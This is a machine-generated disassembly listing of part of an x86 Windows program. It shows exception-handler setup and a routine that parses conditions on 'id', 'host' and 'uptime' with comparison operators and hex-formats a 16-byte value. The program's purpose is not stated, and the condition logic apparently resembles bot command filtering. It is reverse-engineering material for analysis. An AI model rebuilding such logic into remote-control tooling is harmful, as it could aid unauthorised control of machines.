mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_40170D
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
sub_412BC0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412C10 proc near ; CODE XREF: sub_401F00j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412C10
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 6
push 9
push 4Fh
push 3
push 9
push 7
push 0Fh
lea eax, [esp+48h+var_24]
push 0Ch
mov esi, ecx
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
sub_412C10 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+24h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1Ch]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412CB0: ; CODE XREF: ___:loc_40100Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43994E
push eax
mov large fs:0, esp
sub esp, 90h
add ecx, 4
push ebp
push esi
mov esi, [esp+0A8h]
lea ebp, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_412FD6
push ebx
push edi
push offset asc_443600 ; " "
lea eax, [esp+44h]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+2Ch]
push 2
push ecx
mov ecx, esi
mov dword ptr [esp+0B4h], 0
call sub_4016AE
push offset asc_443600 ; " "
lea edx, [esp+14h]
push 3
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 1
call sub_4016AE
push offset asc_443600 ; " "
lea eax, [esp+74h]
push 0
push eax
mov ecx, esi
mov byte ptr [esp+0B4h], 2
call sub_4016AE
mov edi, eax
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 3
call sub_4013D9
lea ecx, [esp+28h]
mov ebx, eax
call sub_4013D9
lea ecx, [esp+40h]
add ebx, eax
call sub_4013D9
mov ecx, edi
add ebx, eax
call sub_4013D9
lea ecx, [esp+70h]
lea edi, [ebx+eax+4]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+58h]
push edi
push ecx
mov ecx, esi
call sub_401E2E
push offset asc_443600 ; " "
lea edx, [esp+8Ch]
push 4
push edx
mov ecx, esi
mov byte ptr [esp+0B4h], 4
call sub_4016AE
lea ecx, [esp+70h]
push 1
mov bl, 5
push ecx
mov ecx, eax
mov [esp+0B0h], bl
call sub_401E2E
push eax
mov ecx, ebp
mov byte ptr [esp+0ACh], 6
call sub_40200E
lea ecx, [esp+70h]
mov [esp+0A8h], bl
call sub_401226
mov byte ptr [esp+0A8h], 4
lea ecx, [esp+88h]
call sub_401226
lea edx, [esp+58h]
mov ecx, esi
push edx
call sub_40200E
push offset asc_443D40 ; "!="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E35
xor edi, edi
loc_412E35: ; CODE XREF: ___:00412E31j
push offset asc_443D3C ; "=="
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E4C
mov edi, 1
loc_412E4C: ; CODE XREF: ___:00412E45j
push offset asc_443D38 ; ">"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E63
mov edi, 2
loc_412E63: ; CODE XREF: ___:00412E5Cj
push offset asc_443D34 ; "<"
lea ecx, [esp+2Ch]
call sub_4012EE
test eax, eax
jnz short loc_412E7A
mov edi, 3
loc_412E7A: ; CODE XREF: ___:00412E73j
push offset aId ; "id"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412ED4
test edi, edi
jnz short loc_412EAA
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset word_44759A
call sub_4012EE
test eax, eax
jz short loc_412ED4
jmp short loc_412EC7
; ---------------------------------------------------------------------------
loc_412EAA: ; CODE XREF: ___:00412E8Ej
cmp edi, 1
jnz short loc_412ED4
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset word_44759A
call sub_4012EE
test eax, eax
jnz short loc_412ED4
loc_412EC7: ; CODE XREF: ___:00412EA8j
push 0
push esi
mov ecx, offset byte_4472B7
call sub_401A32
loc_412ED4: ; CODE XREF: ___:00412E8Aj
; ___:00412EA6j ...
push offset aHost ; "host"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F27
test edi, edi
jnz short loc_412F08
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset byte_4D60DD
call sub_4013E3
test eax, eax
jnz loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F08: ; CODE XREF: ___:00412EE8j
cmp edi, 1
jnz short loc_412F89
lea ecx, [esp+10h]
call sub_4017E4
push eax
mov ecx, offset byte_4D60DD
call sub_4013E3
test eax, eax
jz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F27: ; CODE XREF: ___:00412EE4j
push offset aUptime ; "uptime"
lea ecx, [esp+44h]
call sub_4012EE
test eax, eax
jnz short loc_412F89
lea ecx, [esp+10h]
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
mov ebx, eax
call sub_401654
test edi, edi
jnz short loc_412F5D
cmp eax, ebx
jz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F5D: ; CODE XREF: ___:00412F55j
cmp edi, 1
jnz short loc_412F68
cmp eax, ebx
jnz short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F68: ; CODE XREF: ___:00412F60j
cmp edi, 2
jnz short loc_412F73
cmp eax, ebx
jle short loc_412F89
jmp short loc_412F7C
; ---------------------------------------------------------------------------
loc_412F73: ; CODE XREF: ___:00412F6Bj
cmp edi, 3
jnz short loc_412F89
cmp eax, ebx
jge short loc_412F89
loc_412F7C: ; CODE XREF: ___:00412F06j
; ___:00412F25j ...
push 0
push esi
mov ecx, offset byte_4472B7
call sub_401A32
loc_412F89: ; CODE XREF: ___:00412F00j
; ___:00412F0Bj ...
lea ecx, [esp+58h]
mov byte ptr [esp+0A8h], 2
call sub_401226
lea ecx, [esp+10h]
mov byte ptr [esp+0A8h], 1
call sub_401226
lea ecx, [esp+28h]
mov byte ptr [esp+0A8h], 0
call sub_401226
lea ecx, [esp+40h]
mov dword ptr [esp+0A8h], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebx
jmp short loc_412FD8
; ---------------------------------------------------------------------------
loc_412FD6: ; CODE XREF: ___:00412CE9j
mov al, 1
loc_412FD8: ; CODE XREF: ___:00412FD4j
mov ecx, [esp+98h]
pop esi
pop ebp
mov large fs:0, ecx
add esp, 9Ch
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4130E0 proc near ; CODE XREF: sub_401654j
call near ptr 27F08B4h
nop
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
mov eax, edx
add eax, ecx
sar eax, 10h
mov edx, eax
shr edx, 1Fh
add eax, edx
retn
sub_4130E0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413120 proc near ; CODE XREF: sub_401FFAj
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_413120
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov [esp+20h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
lea ecx, [esi+32h]
mov [esp+20h+var_4], 0
call sub_401749
lea edi, [esi+60h]
lea eax, [esp+20h+var_12]
push eax
mov ecx, edi
mov byte ptr [esp+24h+var_4], 1
call sub_401F05
sub_413120 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+0Fh]
lea ebx, [esi+6Ch]
push ecx
mov ecx, ebx
mov byte ptr [esp+20h], 2
call sub_401843
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+1Ch], 3
mov dword ptr [esi], offset off_43E044
call sub_401924
mov ecx, ebx
call sub_401C62
mov ecx, [esp+14h]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4131F0 proc near ; CODE XREF: sub_401CF8j ___:00401E10j
push esi
mov esi, ecx
call sub_401C8F
sub_4131F0 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_413208
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_413208: ; CODE XREF: ___:004131FDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413220 proc near ; CODE XREF: sub_401C8Fj
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_413220
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
mov dword ptr [esi], offset off_43E044
lea edi, [esi+60h]
mov [esp+1Ch+var_4], 3
mov ecx, edi
call sub_401924
lea ebx, [esi+6Ch]
mov ecx, ebx
call sub_401C62
mov ecx, ebx
mov byte ptr [esp+1Ch+var_4], 2
call sub_4014B5
sub_413220 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 1
call sub_4011B8
; ---------------------------------------------------------------------------
lea ecx, [esi+32h]
mov byte ptr [esp+18h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+18h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+10h]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4132E0 proc near ; CODE XREF: sub_4019F6j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4132E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push 0
push 14h
push 15h
push 0Fh
push 7
push 0Fh
lea eax, [esp+58h+var_3C]
push 0Ch
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+44h+var_4], 0
call sub_4017E4
lea ecx, [esi+32h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_4132E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+4]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
push 0
push 14h
push 5
lea edx, [esp+28h]
push 13h
push edx
call sub_4019B5
add esp, 14h
push esi
mov ecx, eax
mov dword ptr [esp+40h], 1
call sub_4017E4
add esi, 4
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+1Ch]
mov dword ptr [esp+3Ch], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h]
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4133D0 proc near ; CODE XREF: sub_401CD0j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_4133D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0
call sub_4017E4
test eax, eax
jz short loc_413477
lea ecx, [esp+18h+var_14]
call sub_402252
add esi, 6Ch
lea eax, [esp+18h+var_10]
push eax
mov ecx, esi
call sub_4018F2
mov ecx, [eax]
lea edx, [esp+18h+var_10]
mov [esp+18h+var_14], ecx
push edx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jz short loc_413477
loc_413438: ; CODE XREF: sub_4133D0+A5j
lea eax, [esp+18h+arg_0]
lea ecx, [esp+18h+var_14]
push eax
call sub_40135C
mov ecx, [eax]
add ecx, 19h
call sub_401B72
test eax, eax
lea ecx, [esp+18h+var_14]
jz short loc_41349C
call sub_40118B
lea ecx, [esp+18h+var_10]
push ecx
mov ecx, esi
call sub_40114A
push eax
lea ecx, [esp+1Ch+var_14]
call sub_401339
test al, al
jnz short loc_413438
loc_413477: ; CODE XREF: sub_4133D0+2Ej
; sub_4133D0+66j
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 18h
; ---------------------------------------------------------------------------
loc_41349C: ; CODE XREF: sub_4133D0+86j
call sub_40135C
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 18h
sub_4133D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413510 proc near ; CODE XREF: sub_402112j
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
push 0FFFFFFFFh
push offset SEH_413510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push ebp
push esi
push edi
mov ebx, ecx
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0
call sub_4017E4
test eax, eax
jz loc_4135E3
lea ecx, [esp+28h+var_18]
call sub_401037
lea ebp, [ebx+60h]
lea eax, [esp+28h+var_14]
push eax
mov ecx, ebp
call sub_401983
mov ecx, [eax]
lea edx, [esp+28h+var_14]
mov [esp+28h+var_18], ecx
push edx
mov ecx, ebp
call sub_402234
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AD7
test al, al
jz short loc_4135E3
loc_41357F: ; CODE XREF: sub_413510+D1j
lea ecx, [esp+28h+var_18]
call sub_4011D1
mov edi, [eax]
sub esp, 18h
lea eax, [esp+40h+arg_0]
mov ecx, esp
mov [esp+40h+var_10], esp
push eax
call sub_4014C9
mov ecx, ebx
call sub_401CD0
mov esi, eax
test esi, esi
jz short loc_4135AC
mov edi, [esi]
loc_4135AC: ; CODE XREF: sub_413510+98j
lea ecx, [esp+28h+arg_0]
push ecx
mov ecx, edi
call sub_401B72
test eax, eax
jz short loc_41360B
test esi, esi
jnz short loc_41360B
lea ecx, [esp+28h+var_18]
call sub_4018B6
lea edx, [esp+28h+var_14]
mov ecx, ebp
push edx
call sub_402234
push eax
lea ecx, [esp+2Ch+var_18]
call sub_401AD7
test al, al
jnz short loc_41357F
loc_4135E3: ; CODE XREF: sub_413510+31j
; sub_413510+6Dj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
xor eax, eax
loc_4135F6: ; CODE XREF: sub_413510+10Ej
mov ecx, [esp+28h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 18h
retn 18h
; ---------------------------------------------------------------------------
loc_41360B: ; CODE XREF: sub_413510+AAj
; sub_413510+AEj
lea ecx, [esp+28h+arg_0]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov eax, edi
jmp short loc_4135F6
sub_413510 endp
; ---------------------------------------------------------------------------
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413670 proc near ; CODE XREF: sub_401F46j
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_413670
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
lea ecx, [esp+14h+arg_0]
mov [esp+14h+var_4], 1
call sub_4017E4
test eax, eax
jz short loc_413714
lea ecx, [esp+14h+var_14]
call sub_401E1F
lea eax, [esp+14h+var_10]
lea ecx, [esp+14h+arg_18]
push eax
call sub_4012E9
mov ecx, [eax]
lea edx, [esp+14h+var_10]
mov [esp+14h+var_14], ecx
push edx
lea ecx, [esp+18h+arg_18]
call sub_401D89
push eax
lea ecx, [esp+18h+var_14]
call sub_401D5C
test al, al
jz short loc_413714
loc_4136D6: ; CODE XREF: sub_413670+A2j
lea eax, [esp+14h+arg_0]
lea ecx, [esp+14h+var_14]
push eax
call sub_401FA5
mov ecx, [eax]
call sub_401B72
test eax, eax
jz short loc_413746
lea ecx, [esp+14h+var_14]
call sub_4020A4
lea ecx, [esp+14h+var_10]
push ecx
lea ecx, [esp+18h+arg_18]
call sub_401D89
push eax
lea ecx, [esp+18h+var_14]
call sub_401D5C
test al, al
jnz short loc_4136D6
loc_413714: ; CODE XREF: sub_413670+2Bj
; sub_413670+64j
lea ecx, [esp+14h+arg_0]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
lea ecx, [esp+14h+arg_18]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401578
; ---------------------------------------------------------------------------
xor eax, eax
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
loc_413746: ; CODE XREF: sub_413670+7Dj
push esi
lea ecx, [esp+18h+var_14]
call sub_401FA5
mov esi, [eax]
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401578
sub_413670 endp
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn 24h
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4137E0 proc near ; CODE XREF: sub_4011DBj
var_A4 = byte ptr -0A4h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_64 = byte ptr -64h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = dword ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4137E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 98h
push esi
xor esi, esi
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], esi
call sub_4017E4
test eax, eax
jz loc_413913
lea eax, [esp+0A8h+var_64]
push eax
call sub_401A55
add esp, 4
lea ecx, [esp+0A8h+var_A4]
call sub_401424
push offset byte_446F70
lea ecx, [esp+0ACh+var_A4]
mov byte ptr [esp+0ACh+var_4], 1
call sub_4015D7
lea ecx, [esp+0A8h+arg_0]
call sub_4013D9
push eax
lea ecx, [esp+0ACh+arg_0]
call sub_4014D3
lea ecx, [esp+0ACh+var_64]
push eax
push ecx
call sub_401C12
lea edx, [esp+0B4h+var_64]
lea eax, [esp+0B4h+var_74]
push edx
push eax
call sub_402158
add esp, 14h
loc_41387B: ; CODE XREF: sub_4137E0+E8j
lea ecx, [esp+0A8h+var_8C]
call sub_401424
xor ecx, ecx
lea edx, [esp+0A8h+var_8C]
mov cl, [esp+esi+0A8h+var_74]
mov byte ptr [esp+0A8h+var_4], 2
push ecx
push offset a2_2x ; "%2.2X"
push edx
call sub_40102D
add esp, 0Ch
lea eax, [esp+0A8h+var_8C]
lea ecx, [esp+0A8h+var_A4]
push eax
call sub_4016BD
lea ecx, [esp+0A8h+var_8C]
mov byte ptr [esp+0A8h+var_4], 1
call sub_401226
inc esi
cmp esi, 10h
jl short loc_41387B
mov edx, [esp+0A8h+arg_18]
lea ecx, [esp+0A8h+var_A4]
push ecx
lea ecx, [edx+15h]
call sub_401B72
test eax, eax
mov byte ptr [esp+0A8h+var_4], 0
lea ecx, [esp+0A8h+var_A4]
jnz short loc_41390E
call sub_401226
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp short loc_41392C
; ---------------------------------------------------------------------------
loc_41390E: ; CODE XREF: sub_4137E0+10Cj
call sub_401226
loc_413913: ; CODE XREF: sub_4137E0+33j
lea ecx, [esp+0A8h+arg_0]
mov [esp+0A8h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
loc_41392C: ; CODE XREF: sub_4137E0+12Cj
mov ecx, [esp+0A8h+var_C]
pop esi
mov large fs:0, ecx
add esp, 0A4h
retn 1Ch
sub_4137E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4139B0 proc near ; CODE XREF: sub_40191Fj
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_18 = byte ptr 1Ch
push 0FFFFFFFFh
push offset SEH_4139B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
sub esp, 18h
lea eax, [esp+30h+arg_18]
mov ecx, esp
mov [esp+30h+var_14], esp
push eax
mov [esp+34h+var_4], 1
call sub_4014C9
mov ecx, esi
call sub_402112
test eax, eax
jz short loc_413A5E
sub esp, 0Ch
add eax, 54h
mov ecx, esp
mov [esp+24h+var_14], esp
push eax
call sub_40171C
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+40h]
mov ecx, esp
mov [esp+40h+var_14], esp
push edx
mov [esp+44h+var_8], 2
call sub_4014C9
mov ecx, esi
mov [esp+40h+var_8], 1
call sub_401F46
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_413A5E
lea ecx, [esp+40h+var_24]
mov byte ptr [esp+40h+var_2C], 0
call sub_401226
lea ecx, [esp+40h+var_C]
mov [esp+40h+var_2C], 0FFFFFFFFh
call sub_401226
mov al, 1
mov ecx, [esp+40h+var_34]
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
; ---------------------------------------------------------------------------
loc_413A5E: ; CODE XREF: sub_4139B0+3Fj
; sub_4139B0+79j
lea ecx, [esp+18h+arg_0]
mov byte ptr [esp+18h+var_4], 0
call sub_401226
lea ecx, [esp+18h+arg_18]
mov [esp+18h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+18h+var_C]
xor al, al
mov large fs:0, ecx
pop esi
add esp, 14h
retn 30h
sub_4139B0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413AE0: ; CODE XREF: ___:00401393j
push 0FFFFFFFFh
push offset loc_439B08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov eax, [esp+18h]
push esi
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+1Ch], esp
push eax
call sub_401861
mov edx, [esp+30h]
sub esp, 18h
mov ecx, esp
mov [esp+4Ch], esp
push edx
mov dword ptr [esp+44h], 0
call sub_401861
mov ecx, esi
mov dword ptr [esp+40h], 0FFFFFFFFh
call sub_40191F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn 8
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413B70 proc near ; CODE XREF: sub_401181j
var_3C = byte ptr -3Ch
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_18 = dword ptr 1Ch
arg_1C = dword ptr 20h
push 0FFFFFFFFh
push offset SEH_413B70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
push ebx
push ebp
mov ebp, [esp+48h+arg_18]
xor ebx, ebx
cmp ebp, ebx
mov [esp+48h+var_4], ebx
jz loc_413CB9
lea ecx, [esp+48h+arg_0]
call sub_4017E4
test eax, eax
jz loc_413CB9
push esi
push edi
push offset asc_443C94 ; ":"
lea eax, [esp+54h+var_3C]
push ebx
push eax
lea ecx, [esp+5Ch+arg_0]
xor esi, esi
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jz loc_413C93
add ebp, 54h
loc_413BF0: ; CODE XREF: sub_413B70+11Dj
push 15h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov dword ptr [esp+4Ch+var_3C], eax
cmp eax, ebx
mov byte ptr [esp+4Ch], 2
jz short loc_413C10
mov ecx, eax
call sub_401F2D
jmp short loc_413C12
; ---------------------------------------------------------------------------
loc_413C10: ; CODE XREF: sub_413B70+95j
xor eax, eax
loc_413C12: ; CODE XREF: sub_413B70+9Ej
push offset asc_443C94 ; ":"
lea ecx, [esp+50h+var_20]
push esi
push ecx
lea ecx, [esp+58h+arg_4]
mov [esp+58h], bl
mov [esp+58h+arg_1C], eax
call sub_4016AE
mov ecx, [esp+4Ch+arg_1C]
push eax
mov byte ptr [esp+50h], 3
call sub_40200E
lea ecx, [esp+4Ch+var_20]
mov [esp+4Ch], bl
call sub_401226
lea edx, [esp+4Ch+arg_1C]
mov ecx, ebp
push edx
call sub_40147E
; ---------------------------------------------------------------------------
inc esi
push offset asc_443C94 ; ":"
lea eax, [esp+54h+var_3C]
push esi
push eax
lea ecx, [esp+5Ch+arg_0]
call sub_4016AE
push offset byte_446F70
mov ecx, eax
mov byte ptr [esp+54h+var_4], 1
call sub_4012EE
lea ecx, [esp+50h+var_3C]
mov edi, eax
mov byte ptr [esp+50h+var_4], bl
call sub_401226
cmp edi, ebx
jnz loc_413BF0
loc_413C93: ; CODE XREF: sub_413B70+77j
lea ecx, [esp+50h+arg_0]
mov [esp+50h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn 1Ch
; ---------------------------------------------------------------------------
loc_413CB9: ; CODE XREF: sub_413B70+26j
; sub_413B70+37j
lea ecx, [esp+48h+arg_0]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+48h+var_C]
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 1Ch
sub_413B70 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413D40 proc near ; CODE XREF: sub_401F2Dj
push esi
mov esi, ecx
call sub_401424
mov eax, esi
pop esi
retn
sub_413D40 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_413D60: ; CODE XREF: ___:004010F0j
mov eax, [esp+8]
mov edx, [esp+4]
push esi
push eax
mov esi, ecx
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push edx
call sub_401861
mov ecx, esi
call sub_401181
pop esi
retn 8
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_413DA0 proc near ; CODE XREF: sub_40189Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_14 = byte ptr 18h
arg_18 = byte ptr 1Ch
arg_2C = byte ptr 30h
arg_30 = byte ptr 34h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_5C = byte ptr 60h
arg_60 = byte ptr 64h
push 0FFFFFFFFh
push offset SEH_413DA0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov ebp, ecx
sub esp, 18h
lea eax, [esp+3Ch+arg_30]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push eax
mov [esp+40h+var_4], 4
call sub_4014C9
mov ecx, ebp
call sub_401CD0
xor ebx, ebx
cmp eax, ebx
jnz loc_413F8E
sub esp, 18h
lea edx, [esp+3Ch+arg_0]
mov ecx, esp
mov [esp+3Ch+var_14], esp
push edx
call sub_4014C9
mov ecx, ebp
call sub_402112
mov edi, eax
cmp edi, ebx
jz loc_413F8E
push edi
lea eax, [esp+28h+arg_18]
sub esp, 18h
mov ecx, esp
mov [esp+40h+var_14], esp
push eax
call sub_4014C9
mov ecx, ebp
call sub_4011DB
cmp al, bl
jz loc_413F8E
push offset byte_446F70
lea ecx, [esp+28h+arg_48]
call sub_4012EE
